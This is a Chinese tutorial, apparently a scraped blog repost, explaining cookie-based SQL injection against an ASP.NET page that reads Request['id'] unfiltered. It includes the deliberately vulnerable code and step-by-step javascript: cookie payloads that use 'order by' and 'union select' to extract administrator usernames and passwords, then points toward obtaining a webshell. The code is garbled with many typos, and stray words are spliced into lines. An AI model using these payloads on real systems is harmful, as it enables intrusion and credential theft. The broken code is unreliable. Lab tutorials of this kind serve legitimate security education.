菜鳥詳細解析Cookie注入原理

1、SQL注入原理javascript

 

我以aspx爲例,如今咱們來研究下Cookie注入是怎麼產生的,在獲取URL參數的時候,若是在代碼中寫成Request[「id」],這樣的寫法問題就出現了。我先普及下科普知識,在aspx中Request.QueryString[「id」]用於接收get提交的數據,Request.Form[「id」]用於接收post提交的數據。若是不指定使用QueryString仍是Form接收數據,WEB服務是怎樣讀取數據的呢,他是先取GET中的數據沒有取到,再取POST中的數據若是尚未,在去取Cookies中的數據。這樣Cookie注入就產生了。java

 

 

 

2、測試環境sql

 

ASP.NET+SQL servershell

 

ASP.NET代碼:數據庫

 

Aspx文件有兩個。瀏覽器

 

Default,aspx頁面代碼cookie

 

protected void page Load(object sender,EwentArgs e)post

 

 

 

{測試

 

 string id=Request{"id"}.ToString();url

 

string connuser=@"Data Source=;lnitial

 

Catalog=CookieDemo;lntegrated Sccurity=True";

 

string xx=Server.UrlDecode(id);

 

steing sql="select*from Cookie where id="=xx

 

 

 

SqlConncction conn=new

 

SqlConnection(connuser);

 

conn Open();

 

Sqlcommand comm""new

 

Sqlcommand(sql,conn);

 

SqlDataReader datare=comm,ExecureReader();

 

while(datare.Read())

 

{

 

Response.Write(datare{"name"}

 

}

 

conn.Close();

 

}

 

Test頁面代碼

 

<body>

 

<form id = "forml"runat="server">

 

<div>

 

<a href="test.aspx?id=2">Cookie測試</a>

 

</div>

 

</form>

 

</body>

 

數據庫:

 

數據庫建庫建表代碼我就不寫出來了,爲了節省點版面。 

 

3、實戰演習

 

咱們先訪問Default.aspx。點擊「Cookie測試」跳轉到test.aspx?id=2頁面,參數爲id值爲「2」,test.aspx頁面中顯示出了數據庫中id爲「2」相應的值。    

 

如今咱們把地址欄中的?id=2刪除掉就成了,而後在瀏覽,出錯了。

 

返回了錯誤頁面什麼數據也沒有,這是必然的學過腳本語言的同窗很容易理解這個問題,咱們沒有在瀏覽器傳達id的值,因此Request在接收id的值的時候就什麼也沒有獲取到。這樣sql語句就會出現錯誤,必然會返錯誤頁面,如今咱們在把地址欄中的url刪除掉,在地址欄輸入「javascript:alert(document.cookie="id="+escape("3"));」瀏覽一下彈出個提示框。

 

如今咱們在來訪問一下這個不帶參數的連接,就出來了id=3的相應的值。

 

 

 

爲了方便不懂javascript的朋友我簡單介紹下。

 

javascript:alert(document.cookie="id="+escape("3"));的意思,我說明一下document.cookie="id="+escape("3")就是把3保存到Cookies的id中。這樣在過濾了Form,QueryString提交而沒有過濾Cookie的時候,就可以Cookie注入了…基本原理就是這些了,如今實戰操做下……

 

在地址欄輸入「javascript:alert(document.cookie="id="+escape("3 and 1=1¨))」提交一下,而後在在刷新下頁面出現了id=3的數據。而後在地址欄輸入「javascript:alert(document.cookie="id="+escape("3 and l=2"))」瀏覽一下彈出如今在刷新下頁面出現了空白頁面。

 

兩次返回不同證實能夠注入,我用Cookie注入演示怎麼爆破出管理員帳號密碼,和常規的sql注入同樣只不過是要用到Javascript,仍是先判斷字段而後在地址欄輸入「javascript:alert(document.cookie="id="+escape("3 order by 2"))」提交之後刷新返回正常。

 

而後在地址欄輸入「javascript:alert(document.cookie="id="+escape("3 0rder by 3"))」,返回錯誤。

 

肯定字段數爲2個javascript:alert(document.cookie="id="+escape("3 union select l,'2'"))。而後刷新就爆破出了數字2相應的位置。我本身搭建的環境測試,就不猜表了admin表是管理員表,表中有id,username,pass這3個字段,在真實的滲透中這些是須要本身去猜的。如今咱們提交javascript:alert(document.cookie="id="+escape("3 union select 1,username from admin"))後刷新就爆破出了用戶名。而後輸入javascript:alert(document.cookie="id="+escape("3 union select 1,pass from admin"))刷新下頁面密碼就出來了。

 

帳號密碼都有了剩下的就是想辦法後臺拿Webshell了,因爲我沒有寫後臺測試頁面,文章就到這了。這就是Cookie注入,但願對你們有幫助,SEE YOU。

相關文章
相關標籤/搜索